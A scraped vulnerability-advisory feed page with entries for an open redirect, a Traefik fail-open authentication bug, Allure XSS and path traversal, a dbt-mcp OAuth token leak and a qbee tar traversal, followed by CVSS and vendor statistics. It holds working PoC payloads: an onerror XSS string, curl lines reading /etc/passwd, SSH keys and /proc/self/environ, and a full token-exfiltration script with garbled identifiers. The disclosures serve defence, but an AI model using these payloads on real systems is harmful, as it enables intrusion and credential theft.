casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5 Connection: close csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123 ``` <img width="1629" height="887" alt="QQ20260526-180606-26-4" src="https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546" /> In the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack. <img width="1082" height="621" alt="QQ20260526-180711-26-5" src="https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253" /> ### PoC ``` /\fushuling.com ``` ### Impact Open Redirect

    about 11 hours ago
  • ## Summary There is a medium severity vulnerability in Traefik's Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported `nginx.ingress.kubernetes.io/auth-type` and `auth-secret` annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency — a missing, malformed, unreadable, or policy-denied Secret — rather than an intentionally unprotected route. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary Traefik's Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations. When an Ingress contains `nginx.ingress.kubernetes.io/auth-type: basic` or `digest`, but the referenced `nginx.ingress.kubernetes.io/auth-secret` cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service. This can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed. Tested affected versions: - Current `master`: `29406d42898547f1ffabd904f66af06c212740cf` - Latest tag tested by me: `v3.7.1` / `fa49e2bcad7ffd8a80accdf1fae1ae480913d93d` The KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the `auth-type`, `auth-secret`, `auth-secret-type`, and `auth-realm` annotations are documented supported annotations. ### Details The root cause is in `pkg/provider/kubernetes/ingress-nginx/build.go`. During provider translation, auth is pre-resolved for each location: ```go if ing.config.AuthType != nil { basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config) if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") } else { loc.BasicAuth = basic loc.DigestAuth = digest } } ``` The error is logged, but `loc.Error` is not set. Later, `pkg/provider/kubernetes/ingress-nginx/translator.go` only routes to `unavailable-service` when `loc.Error` is true. Since this auth error leaves `loc.Error` false, the generated router continues to use the real backend service, and `applyMiddlewares` has no BasicAuth/DigestAuth middleware to attach. This differs from nearby fail-closed behavior for comparable provider translation failures: - `auth-tls-secret` resolution failure skips the affected ingress. - `custom-headers` ConfigMap resolution failure sets `loc.Error = true`, causing the translator to avoid normal backend exposure. Security invariant: > If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed. Reasonable fail-closed behaviors would include omitting the router, routing it to `unavailable-service`, returning 503, or attaching a deny-all middleware until the auth dependency is valid. ### Expected behavior An Ingress location with explicit `auth-type: basic` or `auth-type: digest` must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached. If the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location. ### Actual behavior When `auth-secret` resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry: ```text Cannot resolve auth secret, skipping auth middleware ``` ### PoC I reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets. Minimal Kubernetes objects: - `IngressClass` named `nginx` with controller `k8s.io/ingress-nginx` - `Service` named `whoami` in namespace `default` - `EndpointSlice` for the `whoami` service - `Ingress` with `ingressClassName: nginx`, a backend pointing to `whoami`, and these annotations: ```yaml nginx.ingress.kubernetes.io/auth-type: "basic" nginx.ingress.kubernetes.io/auth-secret-type: "auth-file" nginx.ingress.kubernetes.io/auth-secret: "default/missing-basic-auth" ``` The referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth. Key failing assertion from the regression harness: ```text router forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service="default-auth-missing-secret-whoami-80" ``` The same behavior reproduces on both current `master` and `v3.7.1`. I also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth: - missing `auth-secret` - omitted/empty `auth-secret` - invalid `auth-secret-type` - `auth-file` Secret missing the required `auth` key - empty `auth-map` Secret - missing DigestAuth Secret - cross-namespace `auth-secret` denied by default policy The same matrix includes a positive control where a valid `auth-file` Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path. I also performed a clean-room revalidation from fresh `git archive` source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends. ### Threat model This does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid. In multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required. ### Impact This is a fail-open authentication control issue leading to unintended unauthenticated route exposure. The trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares `auth-type: basic` or `digest`, yet Traefik publishes the backend without the corresponding auth middleware. Realistic scenarios include: - GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable. - Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration. - During ingress-nginx migration, operators reasonably expect supported `nginx.ingress.kubernetes.io/auth-*` annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location. - A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself. Controller logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend. ### Suggested remediation Fail closed on any `resolveBasicAuth` error. A minimal tested change is to mark the location as errored: ```diff if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") + loc.Error = true } else { ``` This reuses the existing `loc.Error` / `unavailable-service` path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control. </details> ---

    about 11 hours ago
  • ## Summary The `ansi.js` Handlebars helper in allure-generator passes user-controlled `statusMessage` and `statusTrace` values from test result files through the `ansi-to-html` library and wraps the output in Handlebars `SafeString` without HTML escaping. Since `ansi-to-html` does not escape HTML entities by default, an attacker who can influence test result content (e.g., via crafted JUnit XML failure messages) can inject arbitrary JavaScript that executes when anyone views the generated Allure report. ## Details The vulnerability is an incomplete fix — commit `4c64b19` (PR #3271) fixed XSS in `linky.js` and `text-with-links.js` by adding `escapeExpression()`, but the same pattern in `ansi.js` was not addressed. **Vulnerable sink** — `allure-generator/src/main/javascript/helpers/ansi.js:10-11`: ```javascript export default function (input) { return new SafeString(ansiConverter.toHtml(input)); }; ``` The `AnsiToHtml` constructor at line 4 does not set `escapeForHtml: true`: ```javascript const ansiConverter = new AnsiToHtml({ fg: "black", bg: "black", newline: true, }); ``` The `ansi-to-html` library (v0.7.2) defaults `escapeForHtml` to `false`, meaning HTML entities in the input pass through unchanged. Wrapping the result in `SafeString` tells Handlebars to skip its auto-escaping, so the raw HTML reaches the browser. **Template usage** — `allure-generator/src/main/javascript/blocks/status-details/status-details.hbs:7,10`: ```handlebars <pre class="status-details__message"><code>{{ansi statusMessage}}</code></pre> ... <pre class="{{b 'status-details' 'trace'}}"><code>{{ansi statusTrace}}</code></pre> ``` **Source** — `plugins/junit-xml-plugin/src/main/java/io/qameta/allure/junitxml/JunitXmlPlugin.java:307-308`: ```java result.setStatusMessage(element.getAttribute(MESSAGE_ATTRIBUTE_NAME)); result.setStatusTrace(element.getValue()); ``` These values are read directly from XML attributes with no sanitization. The same pattern exists in TRX, xUnit XML, xctest, and Allure1/2 plugins. **Contrast with the fixed helper** — `linky.js` (post-fix) correctly escapes before wrapping in `SafeString`: ```javascript const safeText = escapeExpression(text); return new SafeString(`<a href="${safeText}" ...>${safeText}</a>`); ``` ## PoC 1. Create a malicious JUnit XML test result file: ```xml <?xml version="1.0" encoding="UTF-8"?> <testsuite name="XSSTest" tests="1" failures="1"> <testcase name="xssPayload" classname="com.example.Test"> <failure message="&lt;img src=x onerror=alert(document.cookie)&gt;"> Stack trace: &lt;img src=x onerror=alert('statusTrace_XSS')&gt; </failure> </testcase> </testsuite> ``` 2. Generate an Allure report: ```bash allure generate /path/to/results-with-malicious-xml -o /tmp/allure-report ``` 3. Open the report and navigate to the failed test case: ```bash allure open /tmp/allure-report ``` 4. When viewing the test's status details, the `<img onerror>` payloads execute JavaScript in the viewer's browser. ## Impact - **Arbitrary JavaScript execution** in the browser of anyone viewing the generated Allure report - **Cookie theft, session hijacking** if the report is served from a domain with active sessions (e.g., CI dashboards) - **Data exfiltration** — the injected script can read the full report content and send it to an attacker-controlled server - **Attack vectors**: A malicious dependency that throws crafted exception messages, a CI pipeline processing test results from untrusted pull requests, or a contributor submitting test files containing XSS payloads - Allure reports are commonly hosted on CI/CD platforms (Jenkins, GitLab, GitHub Actions artifacts) where session cookies may be present ## Recommended Fix Configure `AnsiToHtml` with `escapeForHtml: true` to escape HTML entities while preserving ANSI-to-HTML conversion: ```javascript import AnsiToHtml from "ansi-to-html"; import {SafeString} from "handlebars/runtime"; const ansiConverter = new AnsiToHtml({ fg: "black", bg: "black", newline: true, escapeForHtml: true, // Escape HTML entities in non-ANSI input }); export default function (input) { return new SafeString(ansiConverter.toHtml(input)); }; ``` This is the correct approach because it preserves the ANSI escape sequence → HTML conversion (colored output) while ensuring that any non-ANSI HTML in the input is safely escaped. The alternative of using `escapeExpression()` on the input would destroy ANSI sequences before they could be converted.

    6.1
    about 11 hours ago
  • ## Summary The built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences. ## Details When `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory: **`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`** ```java protected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException { final HttpServer server = HttpServer .create(new InetSocketAddress(Objects.isNull(host) ? "localhost" : host, port), 0); server.createContext("/", exchange -> { final Path resolve = reportDirectory.resolve("." + exchange.getRequestURI().getPath()); // line 330 if (Files.isDirectory(resolve)) { serveFile(exchange, resolve.resolve("index.html")); } else { serveFile(exchange, resolve); } }); return server; } ``` On line 330, the handler constructs a file path by concatenating `"."` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`: 1. `exchange.getRequestURI().getPath()` returns `"/../../../etc/passwd"` 2. String concatenation produces `"./../../../etc/passwd"` 3. `reportDirectory.resolve("./../../../etc/passwd")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd` 4. The OS resolves this to `/etc/passwd` There is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation. Additionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form. The server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by: - Other local users on shared/multi-tenant systems - DNS rebinding attacks from malicious web pages visited by the user - Adjacent containers in CI/CD environments that share a network namespace ## PoC **Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding): ```bash allure serve ./test-results --host 0.0.0.0 --port 9090 ``` **Step 2:** Read `/etc/passwd` via path traversal: ```bash curl --path-as-is 'http://localhost:9090/../../../etc/passwd' ``` **Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`): ```bash curl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd' ``` **Step 4:** Read sensitive application files (e.g., environment variables, SSH keys): ```bash curl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa' curl --path-as-is 'http://localhost:9090/../../../proc/self/environ' ``` Each command returns the full contents of the requested file if readable by the Allure process. ## Impact An attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes: - **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials - **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys - **Source code and data:** Any file on the filesystem accessible to the running user In CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability. ## Recommended Fix Normalize the resolved path and verify it remains within the report directory before serving: ```java server.createContext("/", exchange -> { final Path resolve = reportDirectory.resolve("." + exchange.getRequestURI().getPath()).normalize(); if (!resolve.startsWith(reportDirectory.normalize())) { exchange.sendResponseHeaders(403, 0); exchange.getResponseBody().close(); return; } if (Files.isDirectory(resolve)) { serveFile(exchange, resolve.resolve("index.html")); } else { serveFile(exchange, resolve); } }); ``` The `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.

    6.2
    about 11 hours ago
  • ## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens ### Summary The local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).** ### Details During the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the "OAuth helper") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests. **Data flow from source to sink:** 1. **Source** — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server. 2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields. 3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`. 4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence. 5. **Persistence sink** — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk. 6. **HTTP sink** — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction. ```python # src/dbt_mcp/oauth/fastapi_app.py:162-165 @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") return dbt_platform_context_manager.read_context() or DbtPlatformContext() ``` ```python # src/dbt_mcp/oauth/dbt_platform.py:8-14 class AccessTokenResponse(BaseModel): access_token: str refresh_token: str ... class DbtPlatformContext(BaseModel): decoded_access_token: DecodedAccessToken | None = None ... ``` **Missing protections (confirmed by grep):** - No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding. - No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response. - No CSRF protection, no session nonce, no `Origin` header validation. - The route has no FastAPI `Depends()` security dependency. A `grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin"` across the OAuth FastAPI application returns no results. **Recommended remediation:** ```diff --- a/src/dbt_mcp/oauth/fastapi_app.py +++ b/src/dbt_mcp/oauth/fastapi_app.py +from starlette.middleware.trustedhost import TrustedHostMiddleware + +def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext: + if context is None: + return DbtPlatformContext() + return context.model_copy(update={"decoded_access_token": None}) app = FastAPI() + app.add_middleware( + TrustedHostMiddleware, + allowed_hosts=["localhost", "127.0.0.1"], + ) @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") - return dbt_platform_context_manager.read_context() or DbtPlatformContext() + return _redact_context(dbt_platform_context_manager.read_context()) ``` ### PoC **Prerequisites:** - `dbt-mcp` v1.19.1 installed in a Python 3.12 environment. - The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`. - No `DBT_TOKEN` set (OAuth flow mode active). **Step 1 — Build the Docker test environment:** ```bash docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile . ``` The `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`: ```dockerfile FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir \ "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \ "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \ "pydantic~=2.0" "pydantic-settings~=2.10.1" COPY repo/src /app/src ENV PYTHONPATH=/app/src COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` **Step 2 — Run the PoC:** ```bash docker run --rm --network=host vuln001-dbt-mcp ``` The PoC script (`poc.py`) performs the following automatically: 1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow. 2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file. 3. Starts the server on `127.0.0.1:16785` in a background thread. 4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header. 5. Asserts that `access_token` and `refresh_token` are returned verbatim. **Equivalent manual curl (against the live OAuth helper during actual OAuth flow):** ```bash # While the victim is running the OAuth login flow: export DBT_HOST='cloud.getdbt.com' unset DBT_TOKEN dbt-mcp # OAuth helper starts on 127.0.0.1:6785 # From any co-located process (or a DNS-rebinding browser page): curl -s 'http://127.0.0.1:6785/dbt_platform_context' \ | jq '.decoded_access_token.access_token_response' ``` **Expected output (Phase 2 observed):** ``` [*] HTTP Status: 200 [*] Full response JSON: { "decoded_access_token": { "access_token_response": { "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER", "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123", "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999 }, ... }, ... } [!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER [!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123 [+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication! ``` **DNS rebinding variant:** A malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access. ### Impact Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud. This vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim WORKDIR /app # Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed # because fastapi_app.py's import chain doesn't touch them) RUN pip install --no-cache-dir \ "authlib~=1.6.7" \ "fastapi~=0.128.0" \ "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" \ "pyyaml~=6.0.2" \ "httpx~=0.28.1" \ "filelock~=3.20.3" \ "starlette~=0.50.0" \ "requests>=2.28" \ "pydantic~=2.0" \ "pydantic-settings~=2.10.1" # Copy only the source tree needed for the OAuth server COPY repo/src /app/src ENV PYTHONPATH=/app/src COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens Attack scenario: - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login. - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml. - GET /dbt_platform_con is accessible with NO authentication at all. - Any process on the same host (or a DNS-rebinding browser page) can call it and receive the full access_token + refresh_token. This PoC: 1. Pre-seeds a con file with fake-but-realistic OAuth tokens (simulating a victim who has already completed the OAuth flow). 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py. 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header). 4. Confirms the tokens are returned verbatim. """ import asyncio import json import os import sys import tempfile import threading import time from pathlib import Path import httpx import uvicorn import yaml # Fake tokens that simulate a victim's completed OAuth session. FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER" FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123" FAKE_CONTEXT = { "decoded_access_token": { "access_token_response": { "access_token": FAKE_ACCESS_TOKEN, "refresh_token": FAKE_REFRESH_TOKEN, "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999, }, "decoded_claims": { "sub": "99999", "iat": 1700000000, "exp": 9999999999, }, }, "host_prefix": "victimco", "dbt_host": "cloud.getdbt.com", "account_id": 42, "selected_project_ids": None, "dev_environment": None, "prod_environment": None, } PORT = 16785 def start_server(context_file: Path, static_dir: str) -> None: """Run the actual vulnerable FastAPI app in a background thread.""" from authlib.integrations.requests_client import OAuth2Session from dbt_mcp.oauth.context_manager import DbtPlatformContextManager from dbt_mcp.oauth.fastapi_app import create_app context_manager = DbtPlatformContextManager(context_file) # A dummy OAuth client — only used by the /oauth-callback route, # which this PoC never triggers. fake_oauth_client = OAuth2Session(client_id="poc-dummy-client") app = create_app( oauth_client=fake_oauth_client, state_to_verifier={}, dbt_platform_url="https://cloud.getdbt.com", static_dir=static_dir, dbt_platform_context_manager=context_manager, ) loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) config = uvicorn.Config( app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio" ) server = uvicorn.Server(config) loop.run_until_complete(server.serve()) def wait_for_server(port: int, timeout: float = 15.0) -> bool: import socket deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection(("127.0.0.1", port), timeout=1): return True except OSError: time.sleep(0.2) return False def main() -> int: print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak") print("=" * 70) # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk) context_file = Path("/tmp/dbt_poc_mcp.yml") context_file.write_( yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8" ) print(f"[*] Con file written: {context_file}") print(f" access_token : {FAKE_ACCESS_TOKEN}") print(f" refresh_token : {FAKE_REFRESH_TOKEN}") # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_") (Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>") # 3. Start the real vulnerable FastAPI server in a background thread t = threading.Thread( target=start_server, args=(context_file, static_dir), daemon=True ) t.start() print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...") if not wait_for_server(PORT): print("[-] FAIL: Server did not start within timeout.") return 2 print("[*] Server is up.") # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header) url = f"http://127.0.0.1:{PORT}/dbt_platform_con" print(f"\n[*] Sending unauthenticated GET {url}") try: resp = httpx.get(url, timeout=10) except Exception as exc: print(f"[-] HTTP request failed: {exc}") return 2 print(f"[*] HTTP Status: {resp.status_code}") if resp.status_code != 200: print(f"[-] FAIL: Expected 200, got {resp.status_code}") print(f" Body: {resp.[:500]}") return 1 try: data = resp.json() except Exception as exc: print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}") return 1 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}") # 5. Verify that the tokens are in the response (no redaction, no auth required) try: leaked_access = ( data["decoded_access_token"]["access_token_response"]["access_token"] ) leaked_refresh = ( data["decoded_access_token"]["access_token_response"]["refresh_token"] ) except (KeyError, TypeError) as exc: print(f"\n[-] FAIL: Token fields missing from response: {exc}") return 1 print(f"\n[!] LEAKED access_token : {leaked_access}") print(f"[!] LEAKED refresh_token : {leaked_refresh}") if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN: print( "\n[+] VULNERABILITY CONFIRMED:" " Tokens returned from /dbt_platform_con WITHOUT authentication!" ) return 0 else: print("\n[-] FAIL: Returned tokens do not match expected values.") print(f" Expected access_token : {FAKE_ACCESS_TOKEN}") print(f" Got access_token : {leaked_access}") return 1 if __name__ == "__main__": sys.exit(main()) ```

    6.8
    about 11 hours ago
  • ### Impact The go.qbee.io/transport library is affected by a symlink-chain path traversal vulnerability in its extractTar routine. The library's path validation is strictly lexical and fails to account for on-disk symlinks created earlier in the extraction process. Consequently, a crafted tar archive can be used to write or overwrite files one directory level above the intended extraction path. In the case of qbee-agent, which runs with root privileges, this vulnerability permits a root-privileged file write outside the intended destination. ### Patches The issue has been addressed in version v1.26.25

    about 11 hours ago

CVSS Score Histogram

224.8k scored
5
22
1.3k
3.6k
19.2k
43.3k
37.9k
57.6k
30.1k
31.9k
0123456789+
lowCVSS base scorehigh

Severity

all tracked
224.8k
total
  • MEDIUM44.6%
  • HIGH39.0%
  • CRITICAL14.2%
  • LOW2.2%
  • NONE0.0%

Top Weaknesses

30 · CWE

Top Vendors

50 · by CVE
  • 1
    microsoft1036p
    24.7k
  • 2
    linux18p
    17.8k
  • 3
    google235p
    14.8k
  • 4
    apple195p
    14.5k
  • 5
    oracle1033p
    10.5k
  • 6
    debian112p
    10.2k
  • 7
    ibm1571p
    8.3k
  • 8
    adobe180p
    7.3k
  • 9
    cisco6278p
    6.6k
  • 10
    redhat532p
    5.9k
  • 11
    fedoraproject20p
    5.4k
  • 12
    canonical60p
    4.3k
  • 13
    mozilla43p
    3.6k
  • 14
    opensuse50p
    3.3k
  • 15
    apache378p
    3.0k
  • 16
    hp17252p
    2.5k
  • 17
    netapp371p
    2.5k
  • 18
    qualcomm3627p
    2.5k
  • 19
    huawei1956p
    2.3k
  • 20
    siemens4176p
    2.2k
  • 21
    tenda218p
    1.8k
  • 22
    jenkins693p
    1.8k
  • 23
    dlink934p
    1.8k
  • 24
    intel9471p
    1.7k
  • 25
    sun200p
    1.7k
  • 26
    samsung2871p
    1.6k
  • 27
    sap429p
    1.6k
  • 28
    dell3674p
    1.5k
  • 29
    gitlab10p
    1.4k
  • 30
    netgear1100p
    1.3k
  • 31
